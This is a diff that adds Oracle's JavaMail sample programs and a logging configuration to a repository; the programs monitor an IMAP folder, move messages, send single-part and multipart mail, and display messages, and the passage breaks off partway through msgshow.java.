CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, +# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + + + +# This can be used by setting the system property +# -Djava.util.logging.config.file=path to this file + +# Taken from the JDK defaults. +handlers= java.util.logging.ConsoleHandler +.level= INFO +java.util.logging.ConsoleHandler.level = INFO +java.util.logging.ConsoleHandler.formatter = java.util.logging.SimpleFormatter + + +# Set the mail handler demo logger level +MailHandlerDemo.level = ALL + +# Configure the MailHandler. +com.sun.mail.util.logging.MailHandler.level = ALL +com.sun.mail.util.logging.MailHandler.mail.host = my-mail-server +com.sun.mail.util.logging.MailHandler.mail.from = me@example.com +com.sun.mail.util.logging.MailHandler.mail.to = me@example.com +com.sun.mail.util.logging.MailHandler.verify = local + +# Add attachments if needed. +#com.sun.mail.util.logging.MailHandler.attachment.formatters = java.util.logging.SimpleFormatter, java.util.logging.XMLFormatter + +# No filters. +#com.sun.mail.util.logging.MailHandler.attachment.filters = null, null + +# Formatter class name or strings. +#com.sun.mail.util.logging.MailHandler.attachment.names = simple.txt, error.xml + + +# Store messages on error by installing the FileErrorManager (demo code). +com.sun.mail.util.logging.MailHandler.errorManager = FileErrorManager + +# Configure the FileErrorManager for demo (not required). +# FileErrorManager.pattern = path-to-dir + +# Debug mail transport issues. +mail.debug = false diff --git a/src/Java/Jars/javamail-samples/javamail-samples/monitor.java b/src/Java/Jars/javamail-samples/javamail-samples/monitor.java new file mode 100644 index 0000000..2f206d6 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/monitor.java @@ -0,0 +1,128 @@ +/* + * Copyright (c) 1996-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.event.*; +import javax.activation.*; + +import com.sun.mail.imap.*; + +/* Monitors given mailbox for new mail */ + +public class monitor { + + public static void main(String argv[]) { + if (argv.length != 5) { + System.out.println( + "Usage: monitor "); + System.exit(1); + } + System.out.println("\nTesting monitor\n"); + + try { + Properties props = System.getProperties(); + + // Get a Session object + Session session = Session.getInstance(props, null); + // session.setDebug(true); + + // Get a Store object + Store store = session.getStore("imap"); + + // Connect + store.connect(argv[0], argv[1], argv[2]); + + // Open a Folder + Folder folder = store.getFolder(argv[3]); + if (folder == null || !folder.exists()) { + System.out.println("Invalid folder"); + System.exit(1); + } + + folder.open(Folder.READ_WRITE); + + // Add messageCountListener to listen for new messages + folder.addMessageCountListener(new MessageCountAdapter() { + public void messagesAdded(MessageCountEvent ev) { + Message[] msgs = ev.getMessages(); + System.out.println("Got " + msgs.length + " new messages"); + + // Just dump out the new messages + for (int i = 0; i < msgs.length; i++) { + try { + System.out.println("-----"); + System.out.println("Message " + + msgs[i].getMessageNumber() + ":"); + msgs[i].writeTo(System.out); + } catch (IOException ioex) { + ioex.printStackTrace(); + } catch (MessagingException mex) { + mex.printStackTrace(); + } + } + } + }); + + // Check mail once in "freq" MILLIseconds + int freq = Integer.parseInt(argv[4]); + boolean supportsIdle = false; + try { + if (folder instanceof IMAPFolder) { + IMAPFolder f = (IMAPFolder)folder; + f.idle(); + supportsIdle = true; + } + } catch (FolderClosedException fex) { + throw fex; + } catch (MessagingException mex) { + supportsIdle = false; + } + for (;;) { + if (supportsIdle && folder instanceof IMAPFolder) { + IMAPFolder f = (IMAPFolder)folder; + f.idle(); + System.out.println("IDLE done"); + } else { + Thread.sleep(freq); // sleep for freq milliseconds + + // This is to force the IMAP server to send us + // EXISTS notifications. + folder.getMessageCount(); + } + } + + } catch (Exception ex) { + ex.printStackTrace(); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/mover.java b/src/Java/Jars/javamail-samples/javamail-samples/mover.java new file mode 100644 index 0000000..00c6d94 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/mover.java @@ -0,0 +1,180 @@ +/* + * Copyright (c) 1996-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; +import java.util.*; +import javax.mail.*; +import javax.mail.internet.*; + +/* MOVE messages between mailboxes */ + +public class mover { + + static String protocol = "imap"; + static String host = null; + static String user = null; + static String password = null; + static String src = null; + static String dest = null; + static boolean expunge = false; + static String url = null; + + public static void main(String argv[]) { + int start = 1; int end = -1; + int optind; + + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { // protocol + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { // host + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { // user + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { // password + password = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-s")) { // Source mbox + src = argv[++optind]; + } else if (argv[optind].equals("-d")) { // Destination mbox + dest = argv[++optind]; + } else if (argv[optind].equals("-x")) { // Expunge ? + expunge = true; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( +"Usage: mover [-T protocol] [-H host] [-U user] [-P password] [-L url] [-v]"); + System.out.println( +"\t[-s source mbox] [-d destination mbox] [-x] [msgnum1] [msgnum2]"); + System.out.println( +"\t The -x option => EXPUNGE deleted messages"); + System.out.println( +"\t msgnum1 => start of message-range; msgnum2 => end of message-range"); + System.exit(1); + } else { + break; + } + } + + if (optind < argv.length) + start = Integer.parseInt(argv[optind++]); // start msg + + if (optind < argv.length) + end = Integer.parseInt(argv[optind++]); // end msg + + try { + // Get a Properties object + Properties props = System.getProperties(); + + // Get a Session object + Session session = Session.getInstance(props, null); + + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, user, password); + else + store.connect(); + } + + + // Open source Folder + Folder folder = store.getFolder(src); + if (folder == null || !folder.exists()) { + System.out.println("Invalid folder: " + src); + System.exit(1); + } + + folder.open(Folder.READ_WRITE); + + int count = folder.getMessageCount(); + if (count == 0) { // No messages in the source folder + System.out.println(folder.getName() + " is empty"); + // Close folder, store and return + folder.close(false); + store.close(); + return; + } + + // Open destination folder, create if reqd + Folder dfolder = store.getFolder(dest); + if (!dfolder.exists()) + dfolder.create(Folder.HOLDS_MESSAGES); + + if (end == -1) + end = count; + + // Get the message objects to copy + Message[] msgs = folder.getMessages(start, end); + System.out.println("Moving " + msgs.length + " messages"); + + if (msgs.length != 0) { + folder.copyMessages(msgs, dfolder); + folder.setFlags(msgs, new Flags(Flags.Flag.DELETED), true); + + // Dump out the Flags of the moved messages, to insure that + // all got deleted + for (int i = 0; i < msgs.length; i++) { + if (!msgs[i].isSet(Flags.Flag.DELETED)) + System.out.println("Message # " + msgs[i] + + " not deleted"); + } + } + + // Close folders and store + folder.close(expunge); + store.close(); + + } catch (MessagingException mex) { + Exception ex = mex; + do { + System.out.println(ex.getMessage()); + if (ex instanceof MessagingException) + ex = ((MessagingException)ex).getNextException(); + else + ex = null; + } while (ex != null); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/msgmultisendsample.java b/src/Java/Jars/javamail-samples/javamail-samples/msgmultisendsample.java new file mode 100644 index 0000000..b804d36 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/msgmultisendsample.java @@ -0,0 +1,109 @@ +/* + * Copyright (c) 1996-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.activation.*; + +/** + * msgmultisendsample creates a simple multipart/mixed message and sends it. + * Both body parts are text/plain. + *

+ * usage: java msgmultisendsample to from smtp true|false + * where to and from are the destination and + * origin email addresses, respectively, and smtp + * is the hostname of the machine that has smtp server + * running. The last parameter either turns on or turns off + * debugging during sending. + * + * @author Max Spivak + */ +public class msgmultisendsample { + static String msgText1 = "This is a message body.\nHere's line two."; + static String msgText2 = "This is the text in the message attachment."; + + public static void main(String[] args) { + if (args.length != 4) { + System.out.println("usage: java msgmultisend true|false"); + return; + } + + String to = args[0]; + String from = args[1]; + String host = args[2]; + boolean debug = Boolean.valueOf(args[3]).booleanValue(); + + // create some properties and get the default Session + Properties props = new Properties(); + props.put("mail.smtp.host", host); + + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + try { + // create a message + MimeMessage msg = new MimeMessage(session); + msg.setFrom(new InternetAddress(from)); + InternetAddress[] address = {new InternetAddress(to)}; + msg.setRecipients(Message.RecipientType.TO, address); + msg.setSubject("JavaMail APIs Multipart Test"); + msg.setSentDate(new Date()); + + // create and fill the first message part + MimeBodyPart mbp1 = new MimeBodyPart(); + mbp1.setText(msgText1); + + // create and fill the second message part + MimeBodyPart mbp2 = new MimeBodyPart(); + // Use setText(text, charset), to show it off ! + mbp2.setText(msgText2, "us-ascii"); + + // create the Multipart and its parts to it + Multipart mp = new MimeMultipart(); + mp.addBodyPart(mbp1); + mp.addBodyPart(mbp2); + + // add the Multipart to the message + msg.setContent(mp); + + // send the message + Transport.send(msg); + } catch (MessagingException mex) { + mex.printStackTrace(); + Exception ex = null; + if ((ex = mex.getNextException()) != null) { + ex.printStackTrace(); + } + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/msgsend.java b/src/Java/Jars/javamail-samples/javamail-samples/msgsend.java new file mode 100644 index 0000000..8ce708b --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/msgsend.java @@ -0,0 +1,248 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; +import java.util.Properties; +import java.util.Date; + +import javax.mail.*; +import javax.mail.internet.*; + +/** + * Demo app that shows how to construct and send an RFC822 + * (singlepart) message. + * + * XXX - allow more than one recipient on the command line + * + * @author Max Spivak + * @author Bill Shannon + */ + +public class msgsend { + + public static void main(String[] argv) { + String to, subject = null, from = null, + cc = null, bcc = null, url = null; + String mailhost = null; + String mailer = "msgsend"; + String file = null; + String protocol = null, host = null, user = null, password = null; + String record = null; // name of folder in which to record mail + boolean debug = false; + BufferedReader in = + new BufferedReader(new InputStreamReader(System.in)); + int optind; + + /* + * Process command line arguments. + */ + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-M")) { + mailhost = argv[++optind]; + } else if (argv[optind].equals("-f")) { + record = argv[++optind]; + } else if (argv[optind].equals("-a")) { + file = argv[++optind]; + } else if (argv[optind].equals("-s")) { + subject = argv[++optind]; + } else if (argv[optind].equals("-o")) { // originator + from = argv[++optind]; + } else if (argv[optind].equals("-c")) { + cc = argv[++optind]; + } else if (argv[optind].equals("-b")) { + bcc = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-d")) { + debug = true; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( +"Usage: msgsend [[-L store-url] | [-T prot] [-H host] [-U user] [-P passwd]]"); + System.out.println( +"\t[-s subject] [-o from-address] [-c cc-addresses] [-b bcc-addresses]"); + System.out.println( +"\t[-f record-mailbox] [-M transport-host] [-a attach-file] [-d] [address]"); + System.exit(1); + } else { + break; + } + } + + try { + /* + * Prompt for To and Subject, if not specified. + */ + if (optind < argv.length) { + // XXX - concatenate all remaining arguments + to = argv[optind]; + System.out.println("To: " + to); + } else { + System.out.print("To: "); + System.out.flush(); + to = in.readLine(); + } + if (subject == null) { + System.out.print("Subject: "); + System.out.flush(); + subject = in.readLine(); + } else { + System.out.println("Subject: " + subject); + } + + /* + * Initialize the JavaMail Session. + */ + Properties props = System.getProperties(); + // XXX - could use Session.getTransport() and Transport.connect() + // XXX - assume we're using SMTP + if (mailhost != null) + props.put("mail.smtp.host", mailhost); + + // Get a Session object + Session session = Session.getInstance(props, null); + if (debug) + session.setDebug(true); + + /* + * Construct the message and send it. + */ + Message msg = new MimeMessage(session); + if (from != null) + msg.setFrom(new InternetAddress(from)); + else + msg.setFrom(); + + msg.setRecipients(Message.RecipientType.TO, + InternetAddress.parse(to, false)); + if (cc != null) + msg.setRecipients(Message.RecipientType.CC, + InternetAddress.parse(cc, false)); + if (bcc != null) + msg.setRecipients(Message.RecipientType.BCC, + InternetAddress.parse(bcc, false)); + + msg.setSubject(subject); + + String text = collect(in); + + if (file != null) { + // Attach the specified file. + // We need a multipart message to hold the attachment. + MimeBodyPart mbp1 = new MimeBodyPart(); + mbp1.setText(text); + MimeBodyPart mbp2 = new MimeBodyPart(); + mbp2.attachFile(file); + MimeMultipart mp = new MimeMultipart(); + mp.addBodyPart(mbp1); + mp.addBodyPart(mbp2); + msg.setContent(mp); + } else { + // If the desired charset is known, you can use + // setText(text, charset) + msg.setText(text); + } + + msg.setHeader("X-Mailer", mailer); + msg.setSentDate(new Date()); + + // send the thing off + Transport.send(msg); + + System.out.println("\nMail was sent successfully."); + + /* + * Save a copy of the message, if requested. + */ + if (record != null) { + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, user, password); + else + store.connect(); + } + + // Get record Folder. Create if it does not exist. + Folder folder = store.getFolder(record); + if (folder == null) { + System.err.println("Can't get record folder."); + System.exit(1); + } + if (!folder.exists()) + folder.create(Folder.HOLDS_MESSAGES); + + Message[] msgs = new Message[1]; + msgs[0] = msg; + folder.appendMessages(msgs); + + System.out.println("Mail was recorded successfully."); + } + + } catch (Exception e) { + e.printStackTrace(); + } + } + + /** + * Read the body of the message until EOF. + */ + public static String collect(BufferedReader in) throws IOException { + String line; + StringBuffer sb = new StringBuffer(); + while ((line = in.readLine()) != null) { + sb.append(line); + sb.append("\n"); + } + return sb.toString(); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/msgsendsample.java b/src/Java/Jars/javamail-samples/javamail-samples/msgsendsample.java new file mode 100644 index 0000000..f2f49ef --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/msgsendsample.java @@ -0,0 +1,127 @@ +/* + * Copyright (c) 1996-2011 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.internet.*; +import javax.activation.*; + +/** + * msgsendsample creates a very simple text/plain message and sends it. + *

+ * usage: java msgsendsample to from smtphost true|false + * where to and from are the destination and + * origin email addresses, respectively, and smtphost + * is the hostname of the machine that has the smtp server + * running. The last parameter either turns on or turns off + * debugging during sending. + * + * @author Max Spivak + */ +public class msgsendsample { + static String msgText = "This is a message body.\nHere's the second line."; + + public static void main(String[] args) { + if (args.length != 4) { + usage(); + System.exit(1); + } + + System.out.println(); + + String to = args[0]; + String from = args[1]; + String host = args[2]; + boolean debug = Boolean.valueOf(args[3]).booleanValue(); + + // create some properties and get the default Session + Properties props = new Properties(); + props.put("mail.smtp.host", host); + if (debug) props.put("mail.debug", args[3]); + + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + try { + // create a message + MimeMessage msg = new MimeMessage(session); + msg.setFrom(new InternetAddress(from)); + InternetAddress[] address = {new InternetAddress(to)}; + msg.setRecipients(Message.RecipientType.TO, address); + msg.setSubject("JavaMail APIs Test"); + msg.setSentDate(new Date()); + // If the desired charset is known, you can use + // setText(text, charset) + msg.setText(msgText); + + Transport.send(msg); + } catch (MessagingException mex) { + System.out.println("\n--Exception handling in msgsendsample.java"); + + mex.printStackTrace(); + System.out.println(); + Exception ex = mex; + do { + if (ex instanceof SendFailedException) { + SendFailedException sfex = (SendFailedException)ex; + Address[] invalid = sfex.getInvalidAddresses(); + if (invalid != null) { + System.out.println(" ** Invalid Addresses"); + for (int i = 0; i < invalid.length; i++) + System.out.println(" " + invalid[i]); + } + Address[] validUnsent = sfex.getValidUnsentAddresses(); + if (validUnsent != null) { + System.out.println(" ** ValidUnsent Addresses"); + for (int i = 0; i < validUnsent.length; i++) + System.out.println(" "+validUnsent[i]); + } + Address[] validSent = sfex.getValidSentAddresses(); + if (validSent != null) { + System.out.println(" ** ValidSent Addresses"); + for (int i = 0; i < validSent.length; i++) + System.out.println(" "+validSent[i]); + } + } + System.out.println(); + if (ex instanceof MessagingException) + ex = ((MessagingException)ex).getNextException(); + else + ex = null; + } while (ex != null); + } + } + + private static void usage() { + System.out.println("usage: java msgsendsample true|false"); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/msgshow.java b/src/Java/Jars/javamail-samples/javamail-samples/msgshow.java new file mode 100644 index 0000000..f93ab06 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/msgshow.java @@ -0,0 +1,445 @@ +/* + * Copyright (c) 1997-2012 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.util.*; +import java.io.*; +import javax.mail.*; +import javax.mail.event.*; +import javax.mail.internet.*; + +/* + * Demo app that exercises the Message interfaces. + * Show information about and contents of messages. + * + * @author John Mani + * @author Bill Shannon + */ + +public class msgshow { + + static String protocol; + static String host = null; + static String user = null; + static String password = null; + static String mbox = null; + static String url = null; + static int port = -1; + static boolean verbose = false; + static boolean debug = false; + static boolean showStructure = false; + static boolean showMessage = false; + static boolean showAlert = false; + static boolean saveAttachments = false; + static int attnum = 1; + + public static void main(String argv[]) { + int optind; + InputStream msgStream = System.in; + + for (optind = 0; optind < argv.length; optind++) { + if (argv[optind].equals("-T")) { + protocol = argv[++optind]; + } else if (argv[optind].equals("-H")) { + host = argv[++optind]; + } else if (argv[optind].equals("-U")) { + user = argv[++optind]; + } else if (argv[optind].equals("-P")) { + password = argv[++optind]; + } else if (argv[optind].equals("-v")) { + verbose = true; + } else if (argv[optind].equals("-D")) { + debug = true; + } else if (argv[optind].equals("-f")) { + mbox = argv[++optind]; + } else if (argv[optind].equals("-L")) { + url = argv[++optind]; + } else if (argv[optind].equals("-p")) { + port = Integer.parseInt(argv[++optind]); + } else if (argv[optind].equals("-s")) { + showStructure = true; + } else if (argv[optind].equals("-S")) { + saveAttachments = true; + } else if (argv[optind].equals("-m")) { + showMessage = true; + } else if (argv[optind].equals("-a")) { + showAlert = true; + } else if (argv[optind].equals("--")) { + optind++; + break; + } else if (argv[optind].startsWith("-")) { + System.out.println( +"Usage: msgshow [-L url] [-T protocol] [-H host] [-p port] [-U user]"); + System.out.println( +"\t[-P password] [-f mailbox] [msgnum ...] [-v] [-D] [-s] [-S] [-a]"); + System.out.println( +"or msgshow -m [-v] [-D] [-s] [-S] [-f msg-file]"); + System.exit(1); + } else { + break; + } + } + + try { + // Get a Properties object + Properties props = System.getProperties(); + + // Get a Session object + Session session = Session.getInstance(props, null); + session.setDebug(debug); + + if (showMessage) { + MimeMessage msg; + if (mbox != null) + msg = new MimeMessage(session, + new BufferedInputStream(new FileInputStream(mbox))); + else + msg = new MimeMessage(session, msgStream); + dumpPart(msg); + System.exit(0); + } + + // Get a Store object + Store store = null; + if (url != null) { + URLName urln = new URLName(url); + store = session.getStore(urln); + if (showAlert) { + store.addStoreListener(new StoreListener() { + public void notification(StoreEvent e) { + String s; + if (e.getMessageType() == StoreEvent.ALERT) + s = "ALERT: "; + else + s = "NOTICE: "; + System.out.println(s + e.getMessage()); + } + }); + } + store.connect(); + } else { + if (protocol != null) + store = session.getStore(protocol); + else + store = session.getStore(); + + // Connect + if (host != null || user != null || password != null) + store.connect(host, port, user, password); + else + store.connect(); + } + + + // Open the Folder + + Folder folder = store.getDefaultFolder(); + if (folder == null) { + System.out.println("No default folder"); + System.exit(1); + } + + if (mbox == null) + mbox = "INBOX"; + folder = folder.getFolder(mbox); + if (folder == null) { + System.out.println("Invalid folder"); + System.exit(1); + } + + // try to open read/write and if that fails try read-only + try { + folder.open(Folder.READ_WRITE); + } catch (MessagingException ex) { + folder.open(Folder.READ_ONLY); + } + int totalMessages = folder.getMessageCount(); + + if (totalMessages == 0) { + System.out.println("Empty folder"); + folder.close(false); + store.close(); + System.exit(1); + } + + if (verbose) { + int newMessages = folder.getNewMessageCount(); + System.out.println("Total messages = " + totalMessages); + System.out.println("New messages = " + newMessages); + System.out.println("-------------------------------"); + } + + if (optind >= argv.length) { + // Attributes & Flags for all messages .. + Message[] msgs = 